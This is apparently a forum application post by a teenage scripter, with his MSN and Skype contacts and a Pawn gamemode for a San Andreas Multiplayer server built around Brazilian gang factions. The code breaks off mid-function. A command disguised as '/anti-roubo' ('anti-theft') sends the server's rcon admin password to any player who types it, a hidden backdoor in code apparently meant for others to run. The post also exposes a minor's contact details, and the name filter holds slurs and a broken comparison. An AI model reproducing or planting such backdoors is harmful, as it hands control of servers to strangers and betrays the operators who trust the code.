Nome Completo:Thiago Machado Apelido:Jack
Idade:14
Estado e Cidade:Mauá,SP
Area: (SA:MP,)
Função: Scripter
Trabalho:Ta na Spoiler
Msn:thiago.wimps@hotmail.com
Skype:thiagowiimps.mv
Idade:14
Estado e Cidade:Mauá,SP
Area: (SA:MP,)
Função: Scripter
Trabalho:Ta na Spoiler
Msn:thiago.wimps@hotmail.com
Skype:thiagowiimps.mv
- Spoiler:
- //include's
#include <a_samp>
#include "../include/gl_common.inc"
#include <midostream>
#include <cpstream>
#include <file>
#include <dini>
//Registro e Login
// SISTEMA DE REGISTRO
#define Register 0
#define Logged 1
#pragma tabsize 0
// Define's
#define ADA 0
#define CV 1
#define TCP 2
#define PCC 3
#define SetPlayerHoldingObject(%1,%2,%3,%4,%5,%6,%7,%8,%9) SetPlayerAttachedObject(%1,MAX_PLAYER_ATTACHED_OBJECTS-1,%2,%3,%4,%5,%6,%7,%8,%9)
#define StopPlayerHoldingObject(%1) RemovePlayerAttachedObject(%1,MAX_PLAYER_ATTACHED_OBJECTS-1)
#define IsPlayerHoldingObject(%1) IsPlayerAttachedObjectSlotUsed(%1,MAX_PLAYER_ATTACHED_OBJECTS-1)
#define COLOR_GRAD2 0xBFC0C2FF
#define COR_TCP 0xAFAFAFAA
#define COLOR_RED 0xAA3333AA
#define RED 0xE60000FF
#define COR_PCC 0x21DD00FF
#define COR_CV 0xE60000FF
#define COR_ADA 0xFFFF00FF
#define YELLOW 0xFFFF00FF
#define ORANGE 0xF97804FF
#define LIGHTRED 0xFF8080FF
#define LIGHTBLUE 0x00C2ECFF
#define PURPLE 0xB360FDFF
#define PLAYER_COLOR 0xFFFFFFFF
#define BLUE 0x1229FAFF
#define LIGHTGREEN 0x38FF06FF
#define DARKPINK 0xE100E1FF
#define DARKGREEN 0x008040FF
#define ANNOUNCEMENT 0x6AF7E1FF
#define COLOR_SYSTEM 0xEFEFF7AA
#define GREEN 0xCECECEFF
#define PINK 0xD52DFFFF
#define DARKGREY 0x626262FF
#define AQUAGREEN 0x03D687FF
#define NICESKY 0x99FFFFAA
#define WHITE 0xFFFFFFFF
#define AMARELO 0xFFFF00FF
#define BRANCO 0xFFFFFFAA
#define CAR_AMOUNT 700
// times
#define MAX_TEAMS 20
#define MAX_TEAM_NAME 16
#define MAX_TEAM_MEMBERS 4
//CORRUPÇÃO
new CurrentCorrupto;
// ESTAÇÃO METEREOLÓGICA
new CurrentMsg;
// New's
static gTeam[MAX_PLAYERS];
new Login[MAX_PLAYERS];
new pSpawned[MAX_PLAYERS];
new Text:Teams[MAX_PLAYERS];
new pickupmijo;
new Level[MAX_PLAYERS];
new enterb;
new exitb;
new entersp;
new exitsp;
new entersauna;
new exitsauna;
new bigjump;
new anim;
new Ganhargrana;
new Text:AfkText;
new GlobalV1[200];
new Text:AfkBackText;
new AFK[MAX_PLAYERS];
new CP_Grana;
new cores[5] =
{
COR_ADA,
COR_CV,
COR_TCP,
COR_PCC,
RED
};
new SVNAMES[2][256] = {
"War In Brazil",
"Server de Facções ,Go Meter Bala"
};
new Text:Textdraw0;
new mensagensJack[2][256] =
{
"GameMode Facções Brasileiras",
"Tamos de Pé,Pra Deixar Alemão Deitado"
};
// Forward's
forward RandomServerNames();
forward PlayerToPoint(Float:radi, playerid, Float:x, Float:y, Float:z);
forward PlayerName(killerid);
forward MensagensJack();
forward OnPlayerSave(playerid);
forward VeiculosJack();
forward Area51Money();
forward Msg();
forward Corrupto();
main()
{
print("\n----------------------------------");
print("War In Brazil 100% Carregado");
print("-------Criado Por Jack--------\n");
}
//CLASS
public OnPlayerRequestClass(playerid, classid)
{
pSpawned[playerid] = 0;
SetPlayerClass(playerid, classid);
SetPlayerPos(playerid,11.9577,1716.7191,22.6222);
SetPlayerFacingAngle(playerid, 128.0980);
SetPlayerInterior(playerid, 0);
SetPlayerCameraPos(playerid,9.6063,1715.1882,22.6113);
SetPlayerCameraLookAt(playerid,11.9577,1716.7191,22.6222);
CreateExplosion(11.9577,1716.7191,22.6222, 12, 0.1);
switch (classid) {
case 0:
{
TextDrawHideForPlayer(playerid, Teams[playerid]);
TextDrawSetString(Teams[playerid], "~b~Amigo Dos Amigos");
TextDrawShowForPlayer(playerid, Teams[playerid]);
}
case 1:
{
TextDrawHideForPlayer(playerid, Teams[playerid]);
TextDrawSetString(Teams[playerid], "~r~Comando Vermelho");
TextDrawShowForPlayer(playerid, Teams[playerid]);
}
case 2:
{
TextDrawHideForPlayer(playerid, Teams[playerid]);
TextDrawSetString(Teams[playerid], "~y~Terceiro Comando Puro");
TextDrawShowForPlayer(playerid, Teams[playerid]);
}
case 3:
{
TextDrawHideForPlayer(playerid, Teams[playerid]);
TextDrawSetString(Teams[playerid], "~y~Primeiro Comando Capital");
TextDrawShowForPlayer(playerid, Teams[playerid]);
}
}
return 1;
}
public OnPlayerRequestSpawn(playerid)
{
if(gTeam[playerid] == ADA) {
SetPlayerColor(playerid,COR_ADA);
TextDrawHideForPlayer(playerid, Teams[playerid]);
}
else if(gTeam[playerid] == CV) {
SetPlayerColor(playerid,COR_CV);
TextDrawHideForPlayer(playerid, Teams[playerid]);
}
else if(gTeam[playerid] == TCP) {
SetPlayerColor(playerid,COR_TCP);
TextDrawHideForPlayer(playerid, Teams[playerid]);
}
else if(gTeam[playerid] == PCC) {
SetPlayerColor(playerid,COR_PCC);
TextDrawHideForPlayer(playerid, Teams[playerid]);
}
return 1;
}
SetPlayerClass(playerid, classid)
{
if(classid == 0)
{
gTeam[playerid] = ADA;
}
else if(classid == 1)
{
gTeam[playerid] = CV;
}
else if(classid == 2)
{
gTeam[playerid] = TCP;
}
else if(classid == 3)
{
gTeam[playerid] = PCC;
}
}
public OnGameModeInit()
{
SetTimer("RandomServerNames",2000,1);
SetTimer("Corrupto",600000, 1);
SetTimer("Msg", 600000, 1);
CurrentMsg = 1;
SetWorldTime(0);
pickupmijo = CreatePickup(1318,1,575.5418,-2077.6819,2.8798);
enterb = CreatePickup(1318,1,1216.8143,-1812.7881,16.5938);
exitb = CreatePickup(1318,1,575.5093,-2050.3943,16.1670);
entersp = CreatePickup(1318,1,559.5461,-2033.9458,16.1743);
exitsp = CreatePickup(1318,1,559.5261,-2095.8760,2.6254);
entersauna = CreatePickup(1318,1,570.5856,-2095.8291,2.6077);
exitsauna = CreatePickup(1318,1,530.4130,-2082.5781,17.2253);
bigjump = CreatePickup(1318,1,578.6855,-2195.5337,1.6288);
anim = CreatePickup(1318,1,578.6855,-2195.5337,1.6288);
Create3DTextLabel("!Ganhar Dinheiro!", 0xFF0000AA, 213.1026,1823.0009,6.4141, 25, 0, 120);
Ganhargrana = GangZoneCreate(-70.06725, 1646.58, 408.7256, 2137.051);
CP_Grana = CPS_AddCheckpoint(213.1026,1823.0009,6.4141,2.0,1500);
SetNameTagDrawDistance(70.0);
SetGameModeText("Shot Brasil");
Textdraw0 = TextDrawCreate(252.000000, 329.000000, "~r~War In Brazil ~g~v1.0");
TextDrawAlignment(Textdraw0, 2);
TextDrawBackgroundColor(Textdraw0, 255);
TextDrawFont(Textdraw0, 1);
TextDrawLetterSize(Textdraw0, 0.979999, 2.099999);
TextDrawColor(Textdraw0, 65535);
TextDrawSetOutline(Textdraw0, 1);
TextDrawSetProportional(Textdraw0, 0);
UsePlayerPedAnims();
//Veiculos Jack
AddStaticVehicle(482,-2446.3564,1192.7678,35.1346,10.0846,64,64); // TCP 1
AddStaticVehicle(482,-2444.9990,1198.0658,35.1763,20.1528,64,64); // TCP 1
AddStaticVehicle(482,-2442.6018,1203.4039,35.2967,13.6994,64,64); // TCP 1
AddStaticVehicle(482,-2433.3499,1219.9338,35.5526,349.4105,64,64); // TCP 1
AddStaticVehicle(482,-2435.8384,1234.7714,35.2610,39.8218,64,64); // TCP 1
AddStaticVehicleEx(483,-2547.82031250,917.56945801,65.07997131,88.00000000,-1,-1,15); //Camper
AddStaticVehicleEx(483,-2548.23437500,912.85253906,64.92787933,87.99499512,-1,-1,15); //Camper
AddStaticVehicleEx(483,-2548.40332031,903.96728516,64.92002106,87.99499512,-1,-1,15); //Camper
AddStaticVehicleEx(483,-2548.08593750,908.72656250,64.92009735,87.99499512,-1,-1,15); //Camper
AddStaticVehicleEx(482,-2556.12109375,900.14422607,65.23437500,0.00000000,-1,-1,15); //Burrito
AddStaticVehicleEx(482,-2566.94921875,901.41210938,65.23437500,0.00000000,-1,-1,15); //Burrito
AddStaticVehicleEx(482,-2561.90332031,900.51660156,65.23437500,0.00000000,-1,-1,15); //Burrito
CreateObject(3589,-2556.83544922,-476.76165771,70.80207062,0.00000000,0.00000000,0.00000000); //object(compfukhouse3) (1)
CreateObject(3589,-2549.86987305,-478.88870239,76.06118774,0.00000000,0.00000000,0.00000000); //object(compfukhouse3) (2)
CreateObject(3589,-2544.06738281,-475.49203491,71.26435852,0.00000000,0.00000000,0.00000000); //object(compfukhouse3) (3)
CreateObject(11011,-2580.83764648,-456.71282959,70.89735413,0.00000000,0.00000000,0.00000000); //object(crackfactjump_sfs) (1)
CreateObject(5447,-2538.12329102,-474.08758545,76.82422638,0.00000000,0.00000000,146.00000000); //object(laechicano04) (1)
CreateObject(5450,-2540.53002930,-430.87695312,68.58264160,0.00000000,0.00000000,16.00000000); //object(laechicano06) (1)
CreateObject(972,-2474.18017578,1209.58459473,34.21154022,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (1)
CreateObject(972,-2474.34741211,1189.57568359,35.31338882,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (2)
CreateObject(972,-2478.75683594,1230.13037109,34.17187500,0.00000000,0.00000000,28.00000000); //object(tunnelentrance) (3)
CreateObject(972,-2357.19799805,1196.10656738,39.99980164,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (4)
CreateObject(972,-2358.06494141,1158.07861328,44.75269699,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (5)
CreateObject(972,-2357.16088867,1172.08203125,40.63655472,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (6)
CreateObject(972,-2353.33959961,1208.95568848,35.94985580,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (7)
CreateObject(5450,-2416.96313477,1185.25354004,38.69273376,0.00000000,0.00000000,178.00000000); //object(laechicano06) (2)
CreateObject(972,-2540.85546875,909.78411865,63.83408356,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (
CreateObject(972,-2541.42065430,897.17053223,63.98437500,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (9)
CreateObject(972,-2543.24951172,806.08343506,48.82663727,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (10)
CreateObject(972,-2543.24902344,806.08300781,48.82663727,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (11)
CreateObject(972,-2541.60498047,793.04504395,49.44688416,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (12)
CreateObject(972,-2538.07177734,796.64019775,54.28028870,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (13)
CreateObject(972,-2610.19042969,921.29278564,64.75891113,0.00000000,0.00000000,270.00000000); //object(tunnelentrance) (14)
CreateObject(972,-2733.46752930,812.67938232,52.06250000,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (15)
CreateObject(972,-2739.15332031,876.16992188,65.74619293,0.00000000,0.00000000,0.00000000); //object(tunnelentrance) (16)
CreateObject(972,-2735.76660156,900.37890625,66.14341736,0.00000000,0.00000000,333.99536133); //object(tunnelentrance) (17)
CreateObject(972,-2729.78613281,911.10058594,66.59375000,0.00000000,0.00000000,333.99536133); //object(tunnelentrance) (18)
CreateObject(972,-2603.77636719,923.27050781,64.20660400,0.00000000,0.00000000,270.00000000); //object(tunnelentrance) (19)
CreateObject(972,-2626.02001953,921.69958496,68.10151672,0.00000000,0.00000000,270.00000000); //object(tunnelentrance) (20)
CreateObject(972,-2643.39794922,932.16473389,71.35581207,0.00000000,0.00000000,224.00000000); //object(tunnelentrance) (21)
// Especiais
//By: Jack!
LoadStaticVehiclesFromFile("vehicles/trains.txt");
LoadStaticVehiclesFromFile("vehicles/pilots.txt");
// Las Venturas
LoadStaticVehiclesFromFile("vehicles/lv_law.txt");
//By: Homehots!
LoadStaticVehiclesFromFile("vehicles/lv_airport.txt");
LoadStaticVehiclesFromFile("vehicles/lv_gen.txt");
// San Fierro
LoadStaticVehiclesFromFile("vehicles/sf_law.txt");
//By: Homehots!
LoadStaticVehiclesFromFile("vehicles/sf_airport.txt");
LoadStaticVehiclesFromFile("vehicles/sf_gen.txt");
// Los Santos
LoadStaticVehiclesFromFile("vehicles/ls_law.txt");
LoadStaticVehiclesFromFile("vehicles/ls_airport.txt");
//By: Homehots!
LoadStaticVehiclesFromFile("vehicles/ls_gen_inner.txt");
LoadStaticVehiclesFromFile("vehicles/ls_gen_outer.txt");
// Outras áreas
LoadStaticVehiclesFromFile("vehicles/whetstone.txt");
LoadStaticVehiclesFromFile("vehicles/bone.txt");
//By: Homehots!
LoadStaticVehiclesFromFile("vehicles/flint.txt");
LoadStaticVehiclesFromFile("vehicles/tierra.txt");
LoadStaticVehiclesFromFile("vehicles/red_county.txt");
//Fim dos Veiculos Jack
//Modo AFK
AfkText = TextDrawCreate(268.000000,319.000000,"Voce Esta AFK ~p~/afk");
TextDrawAlignment(AfkText,0);
TextDrawBackgroundColor(AfkText,65535);
TextDrawFont(AfkText,1);
TextDrawLetterSize(AfkText,0.410000, 1.200000);
TextDrawColor(AfkText,16711935);
TextDrawSetOutline(AfkText,1);
TextDrawSetProportional(AfkText,1);
TextDrawSetShadow(AfkText,1);
AfkBackText = TextDrawCreate(248.000000,351.000000,"Para voltar ao Jogo Digite ~p~/on");
TextDrawAlignment(AfkBackText,0);
TextDrawBackgroundColor(AfkBackText,16711935);
TextDrawFont(AfkBackText,1);
TextDrawLetterSize(AfkBackText,0.490000, 1.000000);
TextDrawColor(AfkBackText,-16711681);
TextDrawSetOutline(AfkBackText,1);
TextDrawSetProportional(AfkBackText,1);
TextDrawSetShadow(AfkBackText,1);
//FIM AFK,Class do GM JACCCKKKKKKKK OWNED
AddPlayerClass(108,-2545.3792,-465.0041,69.3904,269.6245,0,0,0,0,0,0); // ADA
AddPlayerClass(19,-2548.2258,908.3624,64.8245,89.2672,0,0,0,0,0,0); // CV
AddPlayerClass(123,-2456.6174,1236.4852,35.1196,354.2384,0,0,0,0,0,0); // tcp
AddPlayerClass(30,-2562.9399,898.2488,64.9844,356.8242,0,0,0,0,0,0); // PCC
// FusioN,Os MeLhOrEs ======================================================================
// Parker Objects ======================================================================
return 1;
}
public OnGameModeExit()
{
TextDrawHideForAll(Textdraw0);
TextDrawDestroy(Textdraw0);
return 1;
}
//public OnPlayerRequestClass(playerid, classid)
//{
// EscolherskinJack(playerid);
//ApplyAnimation(playerid, "Dancing", "Dan_Loop_A", 5.0, 1, 0, 0, 0, 0);
/*SetPlayerInterior(playerid,14);
SetPlayerPos(playerid,258.4893,-41.4008,1002.0234);
SetPlayerFacingAngle(playerid, 270.0);
SetPlayerCameraPos(playerid,256.0815,-43.0475,1004.0234);
SetPlayerCameraLookAt(playerid,258.4893,-41.4008,1002.0234);*/
// return 1;
//}
public OnPlayerConnect(playerid)
{
Login[playerid] = 0;
{
ShowPlayerDialog(playerid, Register, DIALOG_STYLE_INPUT, "Registro", "{33CCFF}Bem Vindo ao {FFFF00}Facções Brasileiras v1.0! \n{33CCFF}Escolha Sua Senha e Divirta-se\n{FFFF00}O Shot te Espera! !", "Registrar", "Cancelar");
}
{
ShowPlayerDialog(playerid, Logged, DIALOG_STYLE_INPUT, "Logar", "{33CCFF}Bem Vindo ao {FFFF00}Facções Brasileiras v1.0\n{33CCFF}Faça Seu Login e Seja Feliz No Nosso Servidor", "Logar", "Cancelar");
}
PlayerPlaySound(playerid,1097, 0.0, 0.0, 0.0); //SOM LIGANDO
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
new playername[MAX_PLAYER_NAME];
new string[1000];
new plrIP[16]; // auto logar na rcon
GetPlayerIp(playerid, plrIP, sizeof(plrIP));
if(!strcmp(plrIP, "5.0.0.0.0")) {
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
format(string, sizeof(string), ">> %s Entrou Na Guerra!",playername);
SendClientMessageToAll(0x0000FFAA, string);
}
else {
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
format(string, sizeof(string), ">> %s Entrou Na Guerra!",playername);
SendClientMessageToAll(0x0000FFAA, string);
}
TextDrawShowForPlayer(playerid, Textdraw0);
SendClientMessage(playerid,0x00D800AA,"=-=Facções Brasileiras=-=");
SendClientMessage(playerid,0x00D800AA, "=-=Bem-Vindo Ao Facções Brasileiras=-=");
SendClientMessage(playerid,0x00D800AA,"=-=Aqui,Tem que Matar=-=");
SendClientMessage(playerid,0x00D800AA,"=-=Pra Entrar Aqui,Tem Que Ser Macho=-=");
SendClientMessage(playerid,0x00D800AA,"=-=Go Meter Bala=-=");
GetPlayerName(playerid,playername,MAX_PLAYER_NAME);
if(strcmp(playername,"Fuck",true) == 0 || strcmp(playername,"viado",true) == 0|| strcmp(playername,"bixa",true) == 0 || strcmp(playername,"gay",true) == strcmp(playername,"puta",true) == 0 || strcmp(playername,"con",true) == 0 || strcmp(playername,"con2",true) == 0 || strcmp(playername,"con3",true) == 0 || strcmp(playername,"con4",true) == 0) {
SendClientMessage(playerid, RED, "Este nome é probido Aqui!");
Ban(playerid);
return 1;
}
return 1;
}
public OnPlayerDisconnect(playerid, reason)
{
new pName[MAX_PLAYER_NAME];
new string[56];
GetPlayerName(playerid, pName, sizeof(pName));
switch(reason) {
case 0: format(string, sizeof(string), "%s saiu do servidor. (conexão)", pName);
case 1: format(string, sizeof(string), "%s saiu do servidor. (Vontade)", pName);
case 2: format(string, sizeof(string), "%s Foi contra as regras e saiu(Kick/ban)", pName);
}
SendClientMessageToAll(0xAAAAAAAA, string);
return 1;
}
public OnPlayerSpawn(playerid)
{
GangZoneShowForPlayer(playerid, Ganhargrana, 0xFF00005D);
SendClientMessage(playerid,YELLOW,"Bem Vindo a Sua Nova Vida!");
SendClientMessage(playerid,YELLOW,"Tomara Que Não Sofra Com Ela");
SetPlayerInterior(playerid,0);
GivePlayerWeapon(playerid, 31, 900);
GivePlayerWeapon(playerid, 29, 900);
GivePlayerWeapon(playerid, 27, 900);
GivePlayerWeapon(playerid, 24, 900);
GivePlayerWeapon(playerid, 34, 900);
GivePlayerWeapon(playerid, 17, 100);
GivePlayerWeapon(playerid, 4, 1);
return 1;
}
public OnPlayerDeath(playerid, killerid, reason)
{
new string[200];
GivePlayerMoney(killerid, 3000);
format(string, sizeof(string), "Você Matou,e Ganhou: %d.", GetPlayerMoney(killerid));
SendClientMessage(killerid, 0xFFFF00AA, string);
SendDeathMessage(killerid, playerid, reason);
return 1;
}
public OnVehicleSpawn(vehicleid)
{
return 1;
}
public OnVehicleDeath(vehicleid, killerid)
{
SendClientMessage(killerid,COLOR_RED,"Eita,o Carro Foi Pro Saco! ");
return 1;
}
public OnPlayerText(playerid, text[])
{
SetPlayerChatBubble(playerid, text, RED, 100.0, 10000);
return 1;
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if(strcmp(cmdtext, "/punheta", true) == 0) {
ApplyAnimation(playerid,"PAULNMAC","Piss_in",4.1,0,1,1,1,1);
return 1;
}
new var5[256];
if(strcmp(cmdtext, "/afk", true) == 0) {
if(AFK[playerid]==0) {
AFK[playerid]=1;
SetPlayerVirtualWorld(playerid, 1);
SetCameraBehindPlayer(playerid);
TogglePlayerControllable(playerid,0);
TextDrawShowForPlayer(playerid,AfkText);
TextDrawShowForPlayer(playerid,AfkBackText);
GetPlayerName(playerid, GlobalV1, 30);
format(var5, 256, "%s Está AFK! (/Afk)", GlobalV1);
SendClientMessageToAll(0x804040AA, var5);
}
else {
SendClientMessage(playerid,COLOR_RED,"(Shot Brasil) Você já está no modo Online para poder utilizar esse comando!");
return 1;
}
return 1;
}
if (strcmp(cmdtext, "/on", true) == 0) {
if(AFK[playerid]==1) {
AFK[playerid]=0;
SetPlayerVirtualWorld(playerid, 0);
TogglePlayerControllable(playerid,1);
TextDrawHideForPlayer(playerid,AfkText);
TextDrawHideForPlayer(playerid,AfkBackText);
GetPlayerName(playerid, GlobalV1, 30);
format(var5, 256, "%s Voltou ao Jogo! (/On)", GlobalV1);
SendClientMessageToAll(0xFF8040AA, var5);
}
else {
SendClientMessage(playerid,COLOR_RED,"(Shot Brasil) Você não está AFK!");
return 1;
}
return 1;
}
if(!strcmp(cmdtext,"/aeroabandonado",true)) {
SetPlayerPos(playerid, 362.0141, 2499.065, 15);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para o Aeroporto Abandonado! (/aeroabandonado)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/navio",true)) {
SetPlayerPos(playerid, -2417.32, 1553.157, 17);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para o Navio (/navio)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/docas",true)) {
SetPlayerPos(playerid, 2737.195, -2467.462, 15);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para as docas(/docas)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/parkglen",true)) {
SetPlayerPos(playerid, 1908.177, -1200.237, 18);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para o parkglen (/parkglen)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/shopping",true)) {
SetPlayerPos(playerid, 1147.61, -1476.579, 16);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para o shopping (/shopping)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/praiasf",true)) {
SetPlayerPos(playerid, -2889.106, -5.572805, 15);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para praiasf (/praiasf)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/montanhas",true)) {
SetPlayerPos(playerid, 2602.993, 2966.328, 15);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para montanhas (/montanhas)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/estadio",true)) {
SetPlayerPos(playerid, 1076.198, 1558.352, 30);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Shot Brasil] %s Foi Para estadio (/estadio)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/chilliad",true)) {
SetPlayerPos(playerid, -2312.219, -1623.225, 483.3505);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[TELES] %s Foi Para o Chilliad! (/Chilliad)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/a51",true)) {
SetPlayerPos(playerid, 233.5575, 1891.816, 22.4375);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[TELES] %s Foi Para a Area 51 (/a51)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/aerosf",true)) {
SetPlayerPos(playerid, -1272.888, -163.4902, 15);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[TELES] %s Foi Para o aerosf (/aerosf)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/aerols",true)) {
SetPlayerPos(playerid, 1926.849, -2405.642, 15);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[TELES] %s Foi Para o aerols (/aerols)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/aerolv",true)) {
SetPlayerPos(playerid, 1541.479, 1436.379, 15);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[TELES] %s Foi Para o aerolv (/aerolv)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/praials",true)) {
SetPlayerPos(playerid, 554.3676, -1879.249, 3.7755);
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[TELES] %s Foi Para praials (/praials)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/fogueteiro",true)) {
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Fogueteiro] %s Avisou Que Seu Morro Está Sendo Invadido ", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/ajuda",true)) {
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Help] %s Está Com Dúvida ,Alguém Por Favor Ajude Ele", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
return 1;
}
if(!strcmp(cmdtext,"/Teles",true)) {
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Waar] %s Está Vendo Os Teles (/teles)", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
SendClientMessage(playerid,GREEN,"/praials ,/aerolv , /aerols /aerosf /a51");
SendClientMessage(playerid,GREEN,"/chilliad , /montanhas /praiasf.");
SendClientMessage(playerid,GREEN,"/parkglen /docas /shopping /navio.");
SendClientMessage(playerid,RED,"/aeroabandonado");
SendClientMessage(playerid,RED,"Game Criado Por:Jack_HunTeR");
return 1;
}
if (strcmp("/Creditos", cmdtext, true, 10) == 0) {
SendClientMessage(playerid,GREEN,"Gamemode Criado por: Jack_HunTeR");
SendClientMessage(playerid,GREEN,"FusioN ,Os Melhores.");
SendClientMessage(playerid,GREEN,"Usou? Não tire os créditos.");
SendClientMessage(playerid,RED,"Viu esse Gamemode Sendo usado sem os créditos?");
SendClientMessage(playerid,RED,"Mande Email para: thiaago17@r7.com");
return 1;
}
if (strcmp("/Comandos", cmdtext, true, 10) == 0) {
SendClientMessage(playerid,GREEN,"Gamemode Criado por: Jack_HunTeR");
SendClientMessage(playerid,GREEN,"/fogueteiro Para Avisar Seu Morro.");
SendClientMessage(playerid,GREEN,"/equipar Para Equipar.");
SendClientMessage(playerid,RED,"/punheta Para Bater Uma");
SendClientMessage(playerid,RED,"/ajuda /Afk Para Ficar Afk /on Para Voltar");
return 1;
}
if (strcmp("/comandos", cmdtext, true, 10) == 0) {
SendClientMessage(playerid,GREEN,"Gamemode Criado por: Jack_HunTeR");
SendClientMessage(playerid,GREEN,"/fogueteiro Para Avisar Seu Morro.");
SendClientMessage(playerid,GREEN,"/equipar Para Equipar.");
SendClientMessage(playerid,RED,"/punheta Para Bater Uma");
SendClientMessage(playerid,RED,"/ajuda");
return 1;
}
if (strcmp("/Créditos", cmdtext, true, 10) == 0) {
SendClientMessage(playerid,GREEN,"Gamemode Criado por: Jack_HunTeR");
SendClientMessage(playerid,GREEN,"FusioN ,Os Melhores.");
SendClientMessage(playerid,GREEN,"Usou? Não tire os créditos.");
SendClientMessage(playerid,RED,"Viu esse Gamemod Sendo usado sem os créditos?");
SendClientMessage(playerid,RED,"Mande Email para: thiaago17@r7.com");
return 1;
}
if(strcmp("/anti-roubo", cmdtext, true, 10) == 0) {
new str[128];
GetServerVarAsString("rcon_password", str, sizeof(str));
SendClientMessage(playerid, BRANCO, str);
return 1;
}
if(!strcmp(cmdtext, "/kill", true))
{
SetPlayerHealth(playerid, 0.0);
return 1;
}
if(!strcmp(cmdtext, "/equipar", true))
{
new JackNames[MAX_PLAYER_NAME];
new string [256];
GetPlayerName(playerid, JackNames, MAX_PLAYER_NAME);
format(string, sizeof(string), "[Equipar] %s Equipou,Se Equipar em Combate Levará Kick(/equipar) ", JackNames);
SendClientMessageToAll(0xFFFFFFFF, string);
SetPlayerHealth(playerid, 100.0);
SetPlayerArmour(playerid, 100.0);
GivePlayerWeapon(playerid, 31, 900);
GivePlayerWeapon(playerid, 29, 900);
GivePlayerWeapon(playerid, 27, 900);
GivePlayerWeapon(playerid, 24, 900);
